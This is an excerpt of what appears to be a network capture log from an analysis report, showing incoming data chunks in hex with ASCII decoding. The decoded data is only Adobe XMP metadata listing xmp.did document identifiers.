2022-07-20 11:24:37 UTC	4582	IN	Data Raw: 34 39 63 62 31 63 37 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 31 39 35 30 66 34 2d 65 62 31 35 2d 64 37 34 66 2d 38 38 64 39 2d 38 38 61 61 65 66 37 32 61 32 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 32 62 34 39 36 39 2d 38 38 39 35 2d 31 39 34 64 2d 61 35 63 32 2d 35 66 34 30 66 32 32 38 33 30 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 33 37 34 31 43 45 37 32 32 32 36 38 31 31 38 44 42 42 45 41 45 30 45 45 35 42 30 30 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 33 37 45 32 46 46 30 44 32 30 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a Data Ascii: 49cb1c7ae</rdf:li> <rdf:li>xmp.did:131950f4-eb15-d74f-88d9-88aaef72a2c0</rdf:li> <rdf:li>xmp.did:132b4969-8895-194d-a5c2-5f40f2283076</rdf:li> <rdf:li>xmp.did:133741CE722268118DBBEAE0EE5B008A</rdf:li> <rdf:li>xmp.did:1337E2FF0D20681183D1AF7A00F36933</rdf:
2022-07-20 11:24:37 UTC	4598	IN	Data Raw: 38 38 61 39 2d 33 62 38 31 64 32 33 61 62 63 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 36 38 42 39 34 31 42 35 32 35 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 37 41 36 36 38 39 34 41 32 30 36 38 31 31 38 32 32 41 46 44 41 35 36 35 38 46 31 31 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 38 31 33 30 44 42 33 38 32 30 36 38 31 31 39 35 46 45 44 34 46 36 37 44 46 30 44 38 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 38 37 43 39 46 45 32 46 32 30 36 38 31 31 39 41 38 32 46 45 32 41 43 42 43 35 37 34 33 36 3c 2f 72 64 66 3a Data Ascii: 88a9-3b81d23abcdf</rdf:li> <rdf:li>xmp.did:2368B941B5256811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:237A66894A206811822AFDA5658F115D</rdf:li> <rdf:li>xmp.did:238130DB3820681195FED4F67DF0D8E8</rdf:li> <rdf:li>xmp.did:2387C9FE2F2068119A82FE2ACBC57436</rdf:
2022-07-20 11:24:37 UTC	4605	IN	Data Raw: 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 41 35 42 39 30 39 38 38 34 43 31 31 45 31 39 45 33 37 46 32 43 37 46 44 36 37 39 38 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 44 42 34 34 36 33 31 42 32 30 36 38 31 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 45 46 37 42 38 45 32 31 32 30 36 38 31 31 38 30 38 33 46 31 44 34 33 45 41 39 37 31 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 42 34 34 30 43 37 46 30 37 32 30 36 38 31 31 38 30 38 33 39 43 38 46 41 37 33 37 39 36 34 32 Data Ascii: D9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:2AA5B909884C11E19E37F2C7FD67985A</rdf:li> <rdf:li>xmp.did:2ADB44631B206811A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:2AEF7B8E212068118083F1D43EA9712B</rdf:li> <rdf:li>xmp.did:2B440C7F0720681180839C8FA7379642
2022-07-20 11:24:37 UTC	4621	IN	Data Raw: 31 42 37 35 42 41 39 35 30 34 31 39 32 39 38 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 43 31 39 38 33 45 43 45 32 31 36 38 31 31 39 35 46 45 44 33 33 42 46 43 34 32 30 43 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 45 34 45 31 32 31 32 30 33 34 31 31 45 35 38 45 42 38 46 41 45 37 33 35 38 33 35 45 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 45 36 46 43 39 34 33 36 32 30 36 38 31 31 41 46 46 44 38 36 43 31 32 37 44 41 30 35 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 63 39 34 62 62 34 2d 61 63 33 36 2d 34 31 63 61 2d 38 32 37 66 2d 61 61 35 34 30 36 63 33 62 64 39 37 3c 2f Data Ascii: 1B75BA950419298B8</rdf:li> <rdf:li>xmp.did:38C1983ECE21681195FED33BFC420CB1</rdf:li> <rdf:li>xmp.did:38E4E121203411E58EB8FAE735835ECD</rdf:li> <rdf:li>xmp.did:38E6FC9436206811AFFD86C127DA0516</rdf:li> <rdf:li>xmp.did:38c94bb4-ac36-41ca-827f-aa5406c3bd97</
2022-07-20 11:24:37 UTC	4637	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 42 35 39 31 36 41 35 42 32 36 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 43 31 44 43 39 35 39 38 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 46 35 42 30 33 34 31 46 32 34 36 38 31 31 38 46 36 32 41 34 43 37 41 45 46 39 33 35 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 64 30 34 65 36 39 2d 61 61 37 65 2d 34 36 63 64 2d 38 30 62 34 2d 65 37 35 64 38 63 35 65 38 64 65 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: /rdf:li> <rdf:li>xmp.did:47B5916A5B26681183D1AF7A00F36933</rdf:li> <rdf:li>xmp.did:47C1DC95982068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:47F5B0341F2468118F62A4C7AEF93527</rdf:li> <rdf:li>xmp.did:47d04e69-aa7e-46cd-80b4-e75d8c5e8de6</rdf:li> <rdf:li>xm
2022-07-20 11:24:37 UTC	4645	IN	Data Raw: 38 35 38 65 34 64 61 34 66 31 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 35 62 62 35 61 62 2d 64 36 38 32 2d 66 34 34 32 2d 61 34 37 34 2d 64 37 63 35 39 39 37 64 34 63 65 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 38 38 32 30 65 62 2d 61 31 39 61 2d 34 64 64 61 2d 39 32 31 39 2d 35 38 65 64 66 33 65 38 36 61 35 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 39 64 61 62 36 36 2d 30 35 39 65 2d 65 62 34 63 2d 38 34 30 37 2d 66 38 32 62 64 66 63 62 63 30 61 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 62 34 31 37 34 65 2d 38 39 64 64 2d 34 63 66 61 2d 62 37 30 62 2d 38 37 63 63 36 32 39 Data Ascii: 858e4da4f143</rdf:li> <rdf:li>xmp.did:4f5bb5ab-d682-f442-a474-d7c5997d4ce8</rdf:li> <rdf:li>xmp.did:4f8820eb-a19a-4dda-9219-58edf3e86a5c</rdf:li> <rdf:li>xmp.did:4f9dab66-059e-eb4c-8407-f82bdfcbc0a4</rdf:li> <rdf:li>xmp.did:4fb4174e-89dd-4cfa-b70b-87cc629
2022-07-20 11:24:37 UTC	4661	IN	Data Raw: 31 36 63 62 39 62 38 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 63 65 36 62 37 32 66 2d 37 37 63 63 2d 35 62 34 39 2d 38 30 34 64 2d 30 39 31 30 32 64 36 66 64 30 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 33 36 63 36 36 65 2d 64 64 36 30 2d 34 31 34 66 2d 61 39 32 30 2d 30 63 65 33 32 66 32 31 31 61 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 36 65 63 34 38 34 2d 30 33 39 33 2d 30 37 34 33 2d 38 61 38 64 2d 34 33 36 39 62 30 32 31 36 64 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 38 32 33 62 38 38 2d 38 37 63 35 2d 34 37 64 33 2d 62 65 38 61 2d 66 34 31 64 63 32 63 66 37 63 36 Data Ascii: 16cb9b8e</rdf:li> <rdf:li>xmp.did:5ce6b72f-77cc-5b49-804d-09102d6fd012</rdf:li> <rdf:li>xmp.did:5d36c66e-dd60-414f-a920-0ce32f211a34</rdf:li> <rdf:li>xmp.did:5d6ec484-0393-0743-8a8d-4369b0216d71</rdf:li> <rdf:li>xmp.did:5d823b88-87c5-47d3-be8a-f41dc2cf7c6
2022-07-20 11:24:37 UTC	4677	IN	Data Raw: 78 6d 70 2e 64 69 64 3a 36 45 46 38 45 33 41 30 39 45 32 30 36 38 31 31 41 45 35 36 43 30 39 31 35 42 33 42 43 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 45 46 45 39 42 46 35 44 34 32 30 36 38 31 31 38 43 31 34 41 33 36 45 35 36 36 45 31 32 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 31 41 33 37 31 44 37 39 31 45 45 36 31 31 42 44 38 38 42 44 38 31 43 42 30 38 39 38 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 34 46 38 34 32 46 30 39 32 31 36 38 31 31 41 46 46 44 44 33 32 32 36 30 41 42 33 42 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 36 30 37 43 43 45 31 39 32 30 36 38 31 Data Ascii: xmp.did:6EF8E3A09E206811AE56C0915B3BCD41</rdf:li> <rdf:li>xmp.did:6EFE9BF5D42068118C14A36E566E12DA</rdf:li> <rdf:li>xmp.did:6F1A371D791EE611BD88BD81CB08980D</rdf:li> <rdf:li>xmp.did:6F4F842F09216811AFFDD32260AB3BBC</rdf:li> <rdf:li>xmp.did:6F607CCE1920681
2022-07-20 11:24:37 UTC	4685	IN	Data Raw: 70 2e 64 69 64 3a 37 34 43 39 46 38 36 33 35 38 37 39 45 34 31 31 42 41 37 42 46 44 34 37 36 35 30 35 38 34 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 43 41 37 36 33 34 31 45 30 43 45 34 31 31 39 37 46 32 38 33 44 45 41 39 46 42 44 39 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 46 31 35 36 45 41 31 42 32 33 36 38 31 31 41 35 35 46 43 37 34 43 33 35 43 39 37 31 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 61 31 34 66 33 37 2d 33 65 62 36 2d 34 39 37 61 2d 38 61 34 32 2d 37 37 33 32 64 35 39 36 61 64 63 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 61 66 34 61 66 38 2d 62 37 35 32 Data Ascii: p.did:74C9F8635879E411BA7BFD476505848B</rdf:li> <rdf:li>xmp.did:74CA76341E0CE41197F283DEA9FBD9D1</rdf:li> <rdf:li>xmp.did:74F156EA1B236811A55FC74C35C971C2</rdf:li> <rdf:li>xmp.did:74a14f37-3eb6-497a-8a42-7732d596adc3</rdf:li> <rdf:li>xmp.did:74af4af8-b752
2022-07-20 11:24:37 UTC	4701	IN	Data Raw: 66 32 35 2d 63 38 34 30 2d 62 61 31 66 2d 61 66 38 35 65 35 32 35 30 66 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 34 66 63 61 65 39 35 2d 37 36 30 35 2d 61 61 34 63 2d 61 65 35 63 2d 65 61 65 39 62 66 66 30 63 33 39 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 32 35 30 30 38 2d 37 39 30 37 2d 34 35 66 38 2d 39 32 63 38 2d 35 65 36 38 37 36 38 31 36 37 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 32 45 34 38 37 34 44 32 30 36 38 31 31 41 37 42 41 41 39 46 39 34 38 41 33 39 46 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 42 32 44 44 45 46 44 39 44 45 31 31 31 41 44 44 32 39 Data Ascii: f25-c840-ba1f-af85e5250f31</rdf:li> <rdf:li>xmp.did:84fcae95-7605-aa4c-ae5c-eae9bff0c39d</rdf:li> <rdf:li>xmp.did:85025008-7907-45f8-92c8-5e6876816709</rdf:li> <rdf:li>xmp.did:8502E4874D206811A7BAA9F948A39F42</rdf:li> <rdf:li>xmp.did:850B2DDEFD9DE111ADD29
2022-07-20 11:24:37 UTC	4717	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 31 33 34 41 33 35 32 44 32 30 36 38 31 31 38 41 36 44 44 34 36 44 41 30 43 41 31 30 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 31 38 36 45 43 38 35 32 30 36 45 37 31 31 41 37 41 46 45 32 37 42 45 37 34 31 38 38 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 32 31 45 45 30 31 44 44 46 41 45 34 31 31 38 45 36 34 46 32 30 31 45 30 30 45 45 43 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 32 33 32 35 32 37 30 39 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 Data Ascii: :li> <rdf:li>xmp.did:92134A352D2068118A6DD46DA0CA10CF</rdf:li> <rdf:li>xmp.did:92186EC85206E711A7AFE27BE74188FE</rdf:li> <rdf:li>xmp.did:9221EE01DDFAE4118E64F201E00EEC2A</rdf:li> <rdf:li>xmp.did:92232527092068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:92
2022-07-20 11:24:37 UTC	4725	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 34 35 35 41 38 37 31 34 32 30 36 38 31 31 39 37 41 35 38 34 46 38 33 39 32 37 42 33 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 31 34 45 30 35 44 36 31 45 35 31 31 38 37 45 36 42 37 32 31 43 44 33 35 32 43 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 35 43 32 33 38 38 32 46 45 34 31 31 38 37 44 41 46 38 37 30 45 39 30 42 45 46 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 38 36 30 32 33 62 2d 39 61 62 65 2d 34 30 31 61 2d 62 32 63 34 2d 30 65 65 39 34 36 63 65 61 65 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: /rdf:li> <rdf:li>xmp.did:99455A871420681197A584F83927B384</rdf:li> <rdf:li>xmp.did:997314E05D61E51187E6B721CD352C7A</rdf:li> <rdf:li>xmp.did:99735C23882FE41187DAF870E90BEFD2</rdf:li> <rdf:li>xmp.did:9986023b-9abe-401a-b2c4-0ee946ceae42</rdf:li> <rdf:li>xm
2022-07-20 11:24:37 UTC	4741	IN	Data Raw: 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 42 33 38 30 30 32 41 34 35 44 45 33 31 31 38 31 45 36 45 42 46 38 33 38 32 41 38 41 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 42 36 39 31 36 36 33 45 32 30 36 38 31 31 42 41 41 43 39 46 38 38 39 42 35 38 43 44 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 30 34 46 37 45 34 43 43 32 31 36 38 31 31 38 32 32 41 46 41 39 46 46 36 39 34 33 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 30 37 45 30 43 42 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a Data Ascii: 1A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:ACB38002A45DE31181E6EBF8382A8AFE</rdf:li> <rdf:li>xmp.did:ACB691663E206811BAAC9F889B58CD3E</rdf:li> <rdf:li>xmp.did:AD04F7E4CC216811822AFA9FF6943483</rdf:li> <rdf:li>xmp.did:AD07E0CBFD9DE111ADD29B684E45E581</rdf:
2022-07-20 11:24:37 UTC	4757	IN	Data Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 35 38 41 39 39 33 30 41 30 38 31 31 45 35 38 41 45 45 44 31 36 39 33 36 32 45 33 32 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 36 36 41 39 39 41 41 32 32 39 36 38 31 31 38 32 32 41 46 42 45 42 33 36 42 33 44 30 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 37 36 31 30 33 33 31 36 32 30 36 38 31 31 42 36 39 39 41 31 38 45 37 30 33 34 41 44 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 38 32 41 35 38 45 33 44 41 43 45 34 31 31 38 36 34 45 46 43 34 44 32 45 38 41 37 37 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 39 32 42 41 38 44 Data Ascii: rdf:li>xmp.did:C658A9930A0811E58AEED169362E32DF</rdf:li> <rdf:li>xmp.did:C666A99AA2296811822AFBEB36B3D090</rdf:li> <rdf:li>xmp.did:C676103316206811B699A18E7034AD98</rdf:li> <rdf:li>xmp.did:C682A58E3DACE411864EFC4D2E8A7785</rdf:li> <rdf:li>xmp.did:C692BA8D
2022-07-20 11:24:37 UTC	4765	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 44 31 33 41 41 45 35 46 43 46 37 30 45 37 31 31 42 36 35 31 45 35 46 46 36 34 45 45 33 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 35 34 33 34 41 30 30 39 32 30 36 38 31 31 38 30 38 33 38 43 33 30 35 44 43 41 39 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 35 38 46 36 37 38 43 44 45 38 45 30 31 31 38 45 30 45 46 44 39 45 46 41 39 31 35 44 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 36 38 36 31 39 45 32 32 36 31 31 31 36 38 42 36 32 38 41 31 39 44 43 46 39 45 46 46 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 38 35 44 46 42 41 37 38 32 30 36 38 Data Ascii: >xmp.did:D13AAE5FCF70E711B651E5FF64EE3282</rdf:li> <rdf:li>xmp.did:D15434A00920681180838C305DCA9E89</rdf:li> <rdf:li>xmp.did:D158F678CDE8E0118E0EFD9EFA915D83</rdf:li> <rdf:li>xmp.did:D168619E22611168B628A19DCF9EFFD4</rdf:li> <rdf:li>xmp.did:D185DFBA782068
2022-07-20 11:24:37 UTC	4781	IN	Data Raw: 64 3a 45 36 34 36 30 32 33 37 46 46 45 34 45 30 31 31 42 37 34 33 39 42 36 38 41 30 31 31 33 38 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 34 41 43 38 44 37 30 44 45 31 44 45 31 31 39 33 43 37 38 41 33 37 37 46 33 30 38 31 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 35 44 32 42 41 46 39 37 32 30 36 38 31 31 38 46 36 32 38 34 35 32 38 35 44 33 33 43 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 36 36 46 39 46 32 46 35 33 32 45 31 31 31 39 35 39 35 41 31 44 44 35 31 36 42 30 42 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 36 38 37 39 31 37 31 31 32 30 36 38 31 31 38 32 32 41 45 Data Ascii: d:E6460237FFE4E011B7439B68A01138EA</rdf:li> <rdf:li>xmp.did:E64AC8D70DE1DE1193C78A377F30813B</rdf:li> <rdf:li>xmp.did:E65D2BAF972068118F62845285D33C56</rdf:li> <rdf:li>xmp.did:E666F9F2F532E1119595A1DD516B0B08</rdf:li> <rdf:li>xmp.did:E668791711206811822AE
2022-07-20 11:24:37 UTC	4797	IN	Data Raw: 37 35 30 35 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 39 46 38 41 34 34 33 32 34 41 45 33 39 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 41 34 38 30 39 31 46 31 36 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 43 41 46 46 41 38 31 44 33 34 33 45 44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 44 45 35 39 33 45 35 32 30 38 41 42 30 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: 7505E2</rdf:li> <rdf:li>xmp.did:F77F117407206811A9F8A44324AE3979</rdf:li> <rdf:li>xmp.did:F77F117407206811AB08A48091F1675E</rdf:li> <rdf:li>xmp.did:F77F117407206811ACAFFA81D343EDA5</rdf:li> <rdf:li>xmp.did:F77F117407206811ADE593E5208AB01B</rdf:li> <rdf:li
2022-07-20 11:24:37 UTC	4801	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 46 43 34 30 32 33 34 31 36 32 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 39 30 35 43 44 42 31 31 35 43 44 41 44 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 33 37 32 43 39 41 37 46 36 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 42 32 32 46 31 43 41 44 41 37 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 Data Ascii: li> <rdf:li>xmp.did:F97F11740720681188C6FC4023416217</rdf:li> <rdf:li>xmp.did:F97F1174072068118905CDB115CDADF5</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6D8372C9A7F6EA</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6DB22F1CADA7F5</rdf:li> <rdf:li>xmp.did:F97
2022-07-20 11:24:37 UTC	4817	IN	Data Raw: 31 61 36 65 63 66 2d 35 64 63 63 2d 62 34 34 39 2d 38 34 35 39 2d 37 39 37 38 61 65 61 61 33 64 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 62 35 62 64 65 39 2d 36 33 62 65 2d 34 36 65 38 2d 61 39 34 64 2d 63 63 65 31 64 32 66 35 32 32 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 63 34 36 37 35 32 2d 61 37 31 34 2d 39 38 34 35 2d 61 34 30 38 2d 32 32 65 63 35 34 39 38 38 62 62 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 64 66 62 32 34 31 2d 32 34 37 66 2d 34 32 31 33 2d 61 63 30 37 2d 30 65 36 61 36 30 32 34 38 33 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 65 31 34 62 66 36 63 2d Data Ascii: 1a6ecf-5dcc-b449-8459-7978aeaa3dec</rdf:li> <rdf:li>xmp.did:adb5bde9-63be-46e8-a94d-cce1d2f5222b</rdf:li> <rdf:li>xmp.did:adc46752-a714-9845-a408-22ec54988bbe</rdf:li> <rdf:li>xmp.did:addfb241-247f-4213-ac07-0e6a60248332</rdf:li> <rdf:li>xmp.did:ae14bf6c-
